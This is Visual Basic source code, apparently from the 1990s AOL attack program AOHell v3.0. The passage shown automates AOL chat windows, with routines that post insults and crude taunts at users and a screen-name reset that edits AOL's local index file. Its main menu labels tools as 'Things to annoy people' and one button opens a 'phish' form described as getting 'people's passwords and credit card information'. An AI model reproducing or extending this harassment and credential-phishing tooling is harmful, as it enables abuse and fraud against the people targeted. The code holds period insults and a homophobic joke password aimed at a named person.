            If InsultNum10 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event10 = 2 Then
            NameTemp = Person3

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.5)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo10
            DidName = InStr(SendTo10, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject10
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage10

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.3)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If

    '11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11

      If Check3D11.Value = True Then

        InRoom = InStr(ChatLine, "HAS LEFT THE ROOM.")
        InRoom2 = InStr(ChatLine, "HAS ENTERED THE ROOM.")

        If InRoom Or InRoom2 > 0 Then
          InPer = InStr(ChatLine, Person4)
        End If

        If InPer > 0 Then

          MsgBox Person4Sp + " has entered or left the AOL chat room."

        End If
      End If

    '12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12

      If Check3D12.Value = True Then

        DidSay = InStr(ChatLine, Word3)

        If DidSay > 0 Then
          MsgBox ChatNameSp + " said " + Word3Sp
        End If
      End If

    '13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13

      If Check3D13.Value = True Then

        Echo1 = InStr(ChatLine, Person5)

        If Echo1 > 0 Then

          ChatPart = InStr(ChatLineSp, ":")
          ChatPart = ChatPart + 2
          ChatMain = Mid$(ChatLineSp, ChatPart)

          lint = 2000
          lpstring = ChatMain
          Didbo = UCase$(lpstring)
          DidDo = InStr(Didbo, "{S A: A:")
          DidDo1 = InStr(Didbo, "{S B: B:")
          If DidDo > 0 Then
            lpstring = "=q{S a: a:"
          End If
          If DidDo1 > 0 Then
            lpstring = "=q{S b: b:"
          End If

          X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)    ',lint

          If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Or Check3D4.Value = True Or Check3D5.Value = True Or Check3D6.Value = True Or Check3D7.Value = True Or Check3D8.Value = True Or Check3D9.Value = True Or Check3D10.Value = True Then
            DoEvents
            Call Pause(.4)
          End If

          VBMsg1.SendMessage = WM_LBUTTONDOWN
          VBMsg1.SendMessage = WM_LBUTTONUP

        End If
      End If
    End If

  '21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21
    If Check3D21.Value = True Then
      DidHostSay = InStr(ChatNameSp, "OnlineHost")
      If DidHostSay > 0 Then Exit Sub

      Said1 = InStr(ChatLine, "COME")
      Said2 = InStr(ChatLine, "LOAD")
      Said3 = InStr(ChatLine, "HARD")
      Said4 = InStr(ChatLine, "BUSH")
      Said5 = InStr(ChatLine, "DEEP")
      Said6 = InStr(ChatLine, "ACCESS")
      Said7 = InStr(ChatLine, "SLIP")
      Said8 = InStr(ChatLine, "HEAD")
      Said9 = InStr(ChatLine, "PUSH")
      Said10 = InStr(ChatLine, "BEAT")
      Said11 = InStr(ChatLine, "DUMP")
      Said12 = InStr(ChatLine, "FIT")
      Said13 = InStr(ChatLine, "STUFF")

      If Said1 Or Said2 Or Said3 Or Said4 Or Said5 Or Said6 Or Said7 Or Said8 Or Said9 Or Said10 Or Said11 Or Said12 Or Said13 > 0 Then
        Werd = InStr(ChatNameSp, ScreenName)

        If Werd > 0 Then Exit Sub

        If Said1 > 0 Then lpstring = "Huh, huh, huh-huh, " + ChatNameSp + " said ""come""."
        If Said2 > 0 Then lpstring = "Huh-huh, huh, " + ChatNameSp + " said ""load""."
        If Said3 > 0 Then lpstring = "Heh-heh, heh, heh, " + ChatNameSp + " said ""hard""."
        If Said4 > 0 Then lpstring = "Huh-huh, huh, huh, " + ChatNameSp + " said ""bush""."
        If Said5 > 0 Then lpstring = "Heh, heh, heh-heh, " + ChatNameSp + " said ""deep""."
        If Said6 > 0 Then lpstring = "Huh, huh-huh, huh, " + ChatNameSp + " said ""access""."
        If Said7 > 0 Then lpstring = "Heh-heh, heh, " + ChatNameSp + " said ""slip""."
        If Said8 > 0 Then lpstring = "Huh, huh, huh-huh, huh, " + ChatNameSp + " said ""head""."
        If Said9 > 0 Then lpstring = "Huh, huh-huh, " + ChatNameSp + " said ""push""."
        If Said10 > 0 Then lpstring = "Heh, heh, heh-heh, " + ChatNameSp + " said ""beat""."
        If Said11 > 0 Then lpstring = "Huh, huh-huh, huh, huh, " + ChatNameSp + " said ""dump""."
        If Said12 > 0 Then lpstring = "Heh-heh, heh, " + ChatNameSp + " said ""fit""."
        If Said13 > 0 Then lpstring = "Huh-huh, huh, huh " + ChatNameSp + " said ""stuff""."

        lint = 1000

        X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
        DoEvents
        Call Pause(.3)
        VBMsg1.SendMessage = WM_LBUTTONDOWN
        VBMsg1.SendMessage = WM_LBUTTONUP
      End If
    End If

net1:

  End Sub

  Sub VBMsg1_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    Destroy = 1

  End Sub

  Sub VBMsg2_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    Destroyed = 1

  End Sub

  Sub VBMsg4_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    ChatLine = ptGetStringFromAddress(lParam, 106)
    ChatLine = Trim$(ChatLine)
    ChatLine = Mid$(ChatLine, 3)

    DoGo = 1

  End Sub

  Sub Command1_Click ()
    GoTo SendBeg

SendErr:
    MsgBox "An error has occured, could not send line.", 48, "Chat Room Error"
    Exit Sub

SendBeg:
    On Error GoTo SendErr
    Dim Tex2 As String
    If Text2.Text = "" Then
      Exit Sub
    End If

    Tex2 = Text2.Text
    Text2.Text = ""

    lint = 100
    lpstring = Tex2

    X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint
    DoEvents
    DoEvents
    DoEvents
    Call Pause(.5)
    DoEvents
    VBMsg1.PostMessage = WM_LBUTTONDOWN
    DoEvents
    VBMsg1.PostMessage = WM_LBUTTONUP

    Text2.SetFocus

  End Sub

  Sub Command3D1_Click ()
    mnuPause.Checked = True

  End Sub

  Sub Form_Load ()

    If AIStatus = 1 Then
      MsgBox "The AI Bot is still active.  You cannot use the MultiTask chatroom with the AI Bot still running.  Please bring up the AI Bot window and choose ""Unload AI Bot"", then try again.", 16, "AI Bot Still Active"
      Unload Me
      Exit Sub
    End If
    If AIStatus = 12 Then
      MsgBox "The Warez Bot is still active.  You cannot use the Multi-Task Chat Room with the Warez Bot still running.  Please stop the Warez Bot and try again.", 16, "Warez Bot Still Active"
      Unload Me
      Exit Sub
    End If

    AIStatus = 11

    GoTo MBeg1

MErr1:
    MsgBox "An error has occured while trying to start the Chat Room.  Please close that Chat Room window, then re-enter the room you are in.  You may then try again.    NOTE: If you have the Warez Bot or AI Bot running, it will cause this error.", 48, "Can't Get Window Lock"
    Unload Me
    Exit Sub

MBeg1:
    On Error GoTo MErr1:

  '1) add this code to your forms form_load for EACH form you want to resize
  '   also add the code in Form_Resize.
  '2) add the code in form_resize to the form_resize sub of your form
  '3) add the dim statement for CTRL in declarations to form_declarations
  '4) add the type definition in the .BAS file to your project.
  'Note - if you have no controls on the form, it will not work
    Dim i As Integer

    ReDim Ctrl(0 To controls.Count - 1) 'an array called "Ctrl" will hold
  'the Left, Top, Width, Height, and
    On Error Resume Next    'TextSize (if any) of each control
  'on the Form, as well as, the Form's
  'Width and Height the control is on.
    For i = 0 To controls.Count - 1
      Ctrl(i).Top = controls(i).Top
      Ctrl(i).Left = controls(i).Left
      Ctrl(i).Width = controls(i).Width
      Ctrl(i).Height = controls(i).Height
      Ctrl(i).ParentHeight = controls(i).Parent.ScaleHeight
      Ctrl(i).ParentWidth = controls(i).Parent.ScaleWidth
      Ctrl(i).FontSize = controls(i).FontSize
    Next

  'If a control does not have one of the above properties then
  'the "On Error Resume Next" statement will simply skips it.

    Dim Success As Integer

    Success% = SetWindowPos%(MultiChat.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  'MsgBox "AOHell needs to get a lock on the chat room window now.  Please click the chat room with the mouse, so it is the top AOL window.  Then hit the OK button to this message.", 64, "Chat Window Lock"

  'thiswin% = FindWindow(0, "America  Online")

    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"
    thiswin% = FindWindow(0, "America  Online")
    RoomIcon = FindChildByTitle(thiswin%, jojo4)
    DaRoom = GetParent(RoomIcon)
    If DaRoom = 0 Then
      MsgBox "You must be in a room before you can use this!", 16, "Not In a Room"
      Unload Me
      Exit Sub
    End If
    c = SendMessage(DaRoom, WM_GETTEXTLENGTH, 0, 0)
    c = c + 1

    lint = c
    lpstring = Space(c)

    X = SendMessageByString(DaRoom, WM_GETTEXT, lint, lpstring) ',lint
    lpstring = Trim$(lpstring)
    lpstring = lpstring

    MultiChat.Caption = "-==AOHell v3.0  Multi-Task Chat Room==-  You are in:  " + lpstring

    ChatCount = 0

    find% = FindChildByClass(DaRoom, "_AOL_View")
    find1% = FindChildByClass(DaRoom, "_AOL_Edit")
    find2% = FindChildByTitle(DaRoom, "Send")

    AOLViewHandle = find%
    AOLSendHandle = find2%
    AOLEditHandle = find1%

    VBMsg1.SubClasshWnd = find2%
  'VBMsg2.SubClasshWnd = find%
    VBMsg3.SubClasshWnd = find%

  End Sub

  Sub Form_Resize ()
    Dim i As Integer
    Dim ParentSH As Integer, ParentSW As Integer

    On Error Resume Next

    ParentSH = controls(i).Parent.ScaleHeight
    ParentSW = controls(i).Parent.ScaleWidth

    For i = 0 To controls.Count - 1
      controls(i).Visible = False
      controls(i).Top = Ctrl(i).Top * (ParentSH / Ctrl(i).ParentHeight)
      controls(i).Left = Ctrl(i).Left * (ParentSW / Ctrl(i).ParentWidth)
      controls(i).Width = Ctrl(i).Width * (ParentSW / Ctrl(i).ParentWidth)
      controls(i).Height = Ctrl(i).Height * (ParentSH / Ctrl(i).ParentHeight)

    '  controls(i).FontSize = Ctrl(i).FontSize * (ParentSH / Ctrl(i).ParentHeight)
    '  If controls(i).FontSize < 6 Then controls(i).FontSize = 6
    'controls(i).FontName = "Arial"
      controls(i).Visible = True
    Next i

    Dim Success As Integer

    Success% = SetWindowPos%(MultiChat.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  End Sub

  Sub Form_Unload (Cancel As Integer)
    VBMsg1.SubClasshWnd = 0
    VBMsg2.SubClasshWnd = 0
    If AIStatus = 11 Then AIStatus = 0
  End Sub

  Sub mnuClear_Click ()
    mnuDice.Checked = False
    mnuSounds.Checked = False
    IgDice = 0
    IgSounds = 0
    MTR1 = ""
    MTR2 = ""
    MTR3 = ""
    MTR4 = ""
    MTR5 = ""
    MTR6 = ""
    MTR7 = ""
    MTR8 = ""
    MTR9 = ""
    MTR10 = ""

  End Sub

  Sub mnuDice_Click ()
    If mnuDice.Checked = False Then
      mnuDice.Checked = True
      IgDice = 1

    Else

      If mnuDice.Checked = True Then
        mnuDice.Checked = False
        IgDice = 0

      End If
    End If

  End Sub

  Sub mnuExit_Click ()
    Unload Me

  End Sub

  Sub mnuISome_Click ()
    GoTo JackBeg

ErrJack:
    Exit Sub

JackBeg:
    On Error GoTo ErrJack

    jacko1 = InputBox$("Please enter the persons Screen Name you want to ignore.", "Screen Name to Ignore")

  ' jacko1 = jacko1 + ":"
    jacko1 = UCase$(jacko1)

    If MTR1 = "" Then
      MTR1 = jacko1
      GoTo kewl
    End If
    If MTR2 = "" Then
      MTR2 = jacko1
      GoTo kewl
    End If
    If MTR3 = "" Then
      MTR3 = jacko1
      GoTo kewl
    End If
    If MTR4 = "" Then
      MTR4 = jacko1
      GoTo kewl
    End If
    If MTR5 = "" Then
      MTR5 = jacko1
      GoTo kewl
    End If
    If MTR6 = "" Then
      MTR6 = jacko1
      GoTo kewl
    End If
    If MTR7 = "" Then
      MTR7 = jacko1
      GoTo kewl
    End If
    If MTR8 = "" Then
      MTR8 = jacko1
      GoTo kewl
    End If
    If MTR9 = "" Then
      MTR9 = jacko1
      GoTo kewl
    End If
    If MTR10 = "" Then
      MTR10 = jacko1
      GoTo kewl
    End If

kewl:

  End Sub

  Sub mnuMember_Click ()
    GoTo MemBeg

ErrMem:
    Timer2.Enabled = True
    Exit Sub

MemBeg:
  'On Error GoTo ErrMem
    Timer2.Enabled = False

    LeRoom = InputBox$("Enter the Member Room name.", "Enter a Member Room")
    thiswin% = FindWindow(0, "America  Online")
    IsMem = FindChildByTitle(thiswin%, "Member Rooms")
    If IsMem <> 0 Then GoTo nex1

    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"

    RoomIcon = FindChildByTitle(thiswin%, jojo4)
  'MsgBox Str(RoomIcon)
    RoomIcon = RoomIcon + 4

    VBMsg4.SubClasshWnd = RoomIcon
    VBMsg4.SendMessage = WM_LBUTTONDOWN
    VBMsg4.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(1)
  'SendKeys "{ESC 3}"
    DoEvents
    Call Pause(3)
    DoEvents

nex1:

    CreateBut = FindChildByTitle(thiswin%, "Create Room")
    VBMsg4.SubClasshWnd = CreateBut
    VBMsg4.SendMessage = WM_LBUTTONDOWN
    VBMsg4.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(1)
    MemWin = FindChildByTitle(thiswin%, "Create a Member Room")
    While MemWin = 0
      DoEvents
      VBMsg4.SendMessage = WM_LBUTTONDOWN
      VBMsg4.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
      MemWin = FindChildByTitle(thiswin%, "Create a Member Room")
    Wend

    MemEdit = FindChildByClass(MemWin, "_AOL_Edit")
    lint = 3000
    lpstring = LeRoom
    SendIM = SendMessageByString(MemEdit, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(1)
    GoWin = FindChildByTitle(MemWin, "Create")
    VBMsg4.SubClasshWnd = GoWin
    VBMsg4.SendMessage = WM_LBUTTONDOWN
    VBMsg4.SendMessage = WM_LBUTTONUP
    DoEvents
    Timer2.Enabled = True
    DoEvents
    Call Pause(2)

    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"
    thiswin% = FindWindow(0, "America  Online")
    RoomIcon = FindChildByTitle(thiswin%, jojo4)
    DaRoom = GetParent(RoomIcon)
    c = SendMessage(DaRoom, WM_GETTEXTLENGTH, 0, 0)
    c = c + 1

    lint = c
    lpstring = Space(c)

    X = SendMessageByString(DaRoom, WM_GETTEXT, lint, lpstring) ',lint
    lpstring = Trim$(lpstring)
    lpstring = lpstring

    MultiChat.Caption = "-==AOHell v3.0  Multi-Task Chat Room==-  You are in:  " + lpstring

  End Sub

  Sub mnuPause_Click ()
    If mnuPause.Checked = False Then
      mnuPause.Checked = True
      Timer2.Enabled = False

    Else

      If mnuPause.Checked = True Then
        mnuPause.Checked = False
        Timer2.Enabled = True

      End If
    End If

  End Sub

Sub mnuPrivate_Click ()
    GoTo MemBeg1

ErrMem1:
    Timer2.Enabled = True
    Exit Sub

MemBeg1:
  On Error GoTo ErrMem1
    Timer2.Enabled = False

    LeRoom = InputBox$("Enter the Private Room name.", "Enter a Private Room")
    thiswin% = FindWindow(0, "America  Online")
    IsMem = FindChildByTitle(thiswin%, "Member Rooms")
    If IsMem <> 0 Then GoTo nex2

    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"

    RoomIcon = FindChildByTitle(thiswin%, jojo4)
  'MsgBox Str(RoomIcon)
    RoomIcon = RoomIcon + 4

    VBMsg4.SubClasshWnd = RoomIcon
    VBMsg4.SendMessage = WM_LBUTTONDOWN
    VBMsg4.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(1)
  'SendKeys "{ESC 3}"
    DoEvents
    Call Pause(3)
    DoEvents

nex2:

    CreateBut = FindChildByTitle(thiswin%, "Private Room")
    VBMsg4.SubClasshWnd = CreateBut
    VBMsg4.SendMessage = WM_LBUTTONDOWN
    VBMsg4.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(1)
    MemWin = FindChildByTitle(thiswin%, "Enter a Private Room")
    While MemWin = 0
      DoEvents
      VBMsg4.SendMessage = WM_LBUTTONDOWN
      VBMsg4.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
      MemWin = FindChildByTitle(thiswin%, "Enter a Private Room")
    Wend

    MemEdit = FindChildByClass(MemWin, "_AOL_Edit")
    lint = 3000
    lpstring = LeRoom
    SendIM = SendMessageByString(MemEdit, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(1)
    GoWin = FindChildByTitle(MemWin, "Go")
    VBMsg4.SubClasshWnd = GoWin
    VBMsg4.SendMessage = WM_LBUTTONDOWN
    VBMsg4.SendMessage = WM_LBUTTONUP
    DoEvents
    Timer2.Enabled = True
    DoEvents
    Call Pause(2)

    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"
    thiswin% = FindWindow(0, "America  Online")
    RoomIcon = FindChildByTitle(thiswin%, jojo4)
    DaRoom = GetParent(RoomIcon)
    c = SendMessage(DaRoom, WM_GETTEXTLENGTH, 0, 0)
    c = c + 1

    lint = c
    lpstring = Space(c)

    X = SendMessageByString(DaRoom, WM_GETTEXT, lint, lpstring) ',lint
    lpstring = Trim$(lpstring)
    lpstring = lpstring

    MultiChat.Caption = "-==AOHell v3.0  Multi-Task Chat Room==-  You are in:  " + lpstring

End Sub

  Sub mnuSounds_Click ()
    If mnuSounds.Checked = False Then
      mnuSounds.Checked = True
      IgSounds = 1

    Else

      If mnuSounds.Checked = True Then
        mnuSounds.Checked = False
        IgSounds = 0

      End If
    End If

  End Sub

  Sub Timer1_Timer ()
    GoTo MultiBeg

MultiErr:
    Exit Sub

MultiBeg:
    On Error GoTo MultiErr

    thiswin% = FindWindow(0, "America  Online")

    Destroy1 = FindChildByClass(thiswin%, "_AOL_Listbox")

    If Destroy1 = 0 Then
      MsgBox "AOHell has detected that the AOL chat window has been closed.  ...Shutting down Multi-Task Chat Room", 64, "Room Closed"
      Destroyed = 0
      Unload MultiChat
      Exit Sub
    End If

  End Sub

  Sub Timer2_Timer ()

    If SaidChat = 1 Then

      DoEvents
      SaidChat = 0
      ChatLine = Trim$(ChatLine)
    'ret = Chr$(13) + Chr$(10)
      DoEvents
      IsDice = InStr(ChatLine, "sided dice:")
      IsSounds = InStr(ChatLine, "{S ")
      DoEvents
      If IgSounds = 1 And IsSounds > 0 And IsSounds < 106 Then Exit Sub
      If IgDice = 1 And IsDice > 0 And IsDice < 106 Then Exit Sub
      If Not MTR1 = "" Then
        NewChat = UCase$(ChatLine)
        DidM1 = InStr(NewChat, MTR1)
      If Not MTR2 = "" Then DidM2 = InStr(NewChat, MTR2)
      If Not MTR3 = "" Then DidM3 = InStr(NewChat, MTR3)
      If Not MTR4 = "" Then DidM4 = InStr(NewChat, MTR4)
      If Not MTR5 = "" Then DidM5 = InStr(NewChat, MTR5)
      If Not MTR6 = "" Then DidM6 = InStr(NewChat, MTR6)
      If Not MTR7 = "" Then DidM7 = InStr(NewChat, MTR7)
      If Not MTR8 = "" Then DidM8 = InStr(NewChat, MTR8)
      If Not MTR9 = "" Then DidM9 = InStr(NewChat, MTR9)
      If Not MTR10 = "" Then DidM10 = InStr(NewChat, MTR10)
    '    MsgBox Str(DidM1) + Str(DidM2) + Str(DidM3) + Str(DidM4) + Str(DidM5) + Str(DidM6) + Str(DidM7) + Str(DidM8) + Str(DidM9) + Str(DidM10)
        If DidM1 > 106 Or DidM2 > 106 Or DidM3 > 106 Or DidM4 > 106 Or DidM5 > 106 Or DidM6 > 106 Or DidM7 > 106 Or DidM8 > 106 Or DidM9 > 106 Or DidM10 > 106 Then GoTo Neb1
        If DidM1 > 0 Or DidM2 > 0 Or DidM3 > 0 Or DidM4 > 0 Or DidM5 > 0 Or DidM6 > 0 Or DidM7 > 0 Or DidM8 > 0 Or DidM9 > 0 Or DidM10 > 0 Then Exit Sub

Neb1:
     End If
      DoEvents
      Text1.Text = Text1.Text + ChatLine    '+ ret
      Leng = Len(Text1.Text)
      Text1.SelStart = Leng
      DoEvents

    End If

  End Sub

  Sub VBMsg1_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    MsgBox "AOHell needs to get a lock on the chat room window now.  Please click the chat room with the mouse, so it is the top AOL window.  Then hit the OK button to this message.", 64, "Chat Window Lock"

    thiswin% = FindWindow(0, "America  Online")

    find% = FindChildByClass(thiswin%, "_AOL_View")
    find1% = FindChildByClass(thiswin%, "_AOL_Edit")
    find2% = FindChildByTitle(thiswin%, "Send")

    AOLViewHandle = find%
    AOLSendHandle = find2%
    AOLEditHandle = find1%

    VBMsg2.SubClasshWnd = find%
    VBMsg1.SubClasshWnd = find2%

  End Sub

  Sub VBMsg2_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    Destroyed = 1

  End Sub

  Sub VBMsg3_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
   ChatLine = ptGetStringFromAddress(lParam, 106)
  SaidChat = 1
  End Sub

Sub Command3D1_Click ()
GoTo Ben

reseterr:
PWait.Hide
ResetSN.Show
Exit Sub

Ben:
On Error GoTo reseterr

  Dim NU As String
  Dim Direc1 As String, Direc As String
  Dim SName As String

Direc = Text1.Text
SName = Text2.Text

If SName = "" Or Len(SName) < 7 Then
MsgBox "The screen name to replace must be at least 7 characters long (spaces count).  AOHell will replace that screen name with ""NewUser"".", 16, "Name Error"
Exit Sub
End If
If Direc = "" Then
MsgBox "Must specify a directory!", 16, "Need Directory"
Exit Sub
End If

Direc1 = Direc + "\idb\main.idx"

NU = "NewUser"

If Len(SName) = 7 Then
NU = "NewUser"
End If
If Len(SName) = 8 Then
NU = "New User"
End If
If Len(SName) = 9 Then
NU = "New User "
End If
If Len(SName) = 10 Then
NU = "New User  "
End If

PWait.Show
ResetSN.Hide
DoEvents
Call Pause(2)
Call ChangeFile(Direc1, SName, NU)
DoEvents

thiswin% = FindWindow(0, "America  Online")
find5% = FindChildByTitle(thiswin%, "Welcome")
find6% = FindChildByTitle(thiswin%, "Goodbye")

If find5% > 0 Then
VBMsg1.SubClasshWnd = find5%
VBMsg1.SendMessage = WM_CLOSE
DoEvents
End If

If find6% > 0 Then
VBMsg1.SubClasshWnd = find6%
VBMsg1.SendMessage = WM_CLOSE
DoEvents
End If

If find5% > 0 Or find6% > 0 Then
   AppActivate "America  Online"
   DoEvents
   SendKeys "%G{ENTER}"
   DoEvents
End If

Unload PWait
Unload Me
                  '    FAccount.Show

End Sub

Sub Command3D2_Click ()
Unload Me
'FAccount.Show

End Sub

Sub Command3D3_Click ()
SendKeys "{F1}"
DoEvents
Call Pause(.1)
DoEvents
SendKeys "%HT"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(ResetSN.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "WAOL"
texpath = init1.Value

Dim texpath1 As Integer, texpath2 As Integer

texpath1 = Len(texpath)
texpath2 = texpath1 - 9

texpath3 = Mid$(texpath, 1, texpath2)

Text1.Text = texpath3

End Sub

Sub Form_Paint ()

Text2.SetFocus

End Sub

Sub Pause (ByVal nSecond As Single)
   Dim t0 As Single
   t0 = Timer
   Do While Timer - t0 < nSecond
      Dim dummy As Integer
      dummy = DoEvents()
      ' if we cross midnight, back up one day
      If Timer < t0 Then
         t0 = t0 - 24 * 60 * 60
      End If
   Loop
End Sub

Sub Command1_Click ()
'Setupwho.Show
AOL% = FindWindow(0, "America  Online")

ab = GetMenu(AOL%)

For T = 1 To 5

d = RemoveMenu(ab, 7, MF_BYPOSITION)
DoEvents
Next T

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en42 Else AOHell.Hide

en42:

End Sub

Sub Command1_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Search for all your friends online, instantly!"

End Sub

Sub Command3D1_Click ()
annoy.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en Else AOHell.Hide

en:

End Sub

Sub Command3D1_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Things to annoy people"

End Sub

Sub Command3D10_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
X = ExitWindows(&H0, 0)

DoEvents
DoEvents
DoEvents

SendKeys "n"

End Sub

Sub Command3D10_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Takes away the hourglass!"

End Sub

Sub Command3D11_Click ()
CDPlay.Show

End Sub

Sub Command3D11_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "The AOHell CD Player"

End Sub

Sub Command3D12_Click ()
GoTo GhostBeg

GhostErr:
MsgBox "GHOSTOOL.EXE not found in the AOH directory!  Cannot load Ghost Tools.", 16, "Cannot load Ghost Tools"
Exit Sub

GhostBeg:
On Error GoTo GhostErr

GhostPATH = App.Path + "\ghostool.exe"
X = Shell(GhostPATH, 1)

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en6 Else AOHell.Hide

en6:

End Sub

Sub Command3D12_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "The BEST macro program ever -- the original Ghost Tools"
End Sub

Sub Command3D13_Click ()
roombust.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en8 Else AOHell.Hide

en8:

End Sub

Sub Command3D13_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Busts in room.  For when the room is full."

End Sub

Sub Command3D14_Click ()
Mailfix.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en12 Else AOHell.Hide

en12:

End Sub

Sub Command3D14_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Use this if someone Email bombed you."

End Sub

Sub Command3D15_Click ()
'Dim Answer, Msg, Title

 'Msg = "This feature may only be used by Anarchists, Hackers, or Warez pups.  Please enter the password."
 'Title = "Fisher Password"

 '  Answer = InputBox(Msg, Title)

'A$ = "a"
'B$ = "b"
'C$ = "c"
'D$ = "d"
'E$ = "e"
'F$ = "f"
'G$ = "g"
'H$ = "h"
'I$ = "i"
'J$ = "j"
'K$ = "k"
'L$ = "l"
'M$ = "m"
'N$ = "n"
'O$ = "o"
'P$ = "p"
'Q$ = "q"
'R$ = "r"
'S$ = "s"
'T$ = "t"
'U$ = "u"
'V$ = "v"
'W$ = "w"
'X$ = "x"
'Y$ = "y"
'Z$ = "z"
'SP$ = " "

'If Answer = S$ + T$ + E$ + V$ + E$ + SP$ + C$ + A$ + S$ + E$ + SP$ + I$ + S$ + SP$ + A$ + SP$ + F$ + A$ + I$ + R$ + Y$ Then
'GoTo Contin
'Else MsgBox "Password is incorrect.", 16, "Fisher Password"
'Exit Sub
'End If

Contin:

phish.Show

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value

If Dab = "yes" Then GoTo en4 Else AOHell.Hide

en4:

End Sub

Sub Command3D15_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Get people's passwords and credit card information"

End Sub

Sub Command3D16_Click ()
options.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value

If Dab = "yes" Then GoTo en3 Else AOHell.Hide

en3:

End Sub

Sub Command3D16_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Set the sound settings and other options"

End Sub

Sub Command3D17_Click ()
form10.Show
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo en15 Else AOHell.Hide

en15:

End Sub

Sub Command3D17_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
dd.Caption = "Bug Report"

End Sub

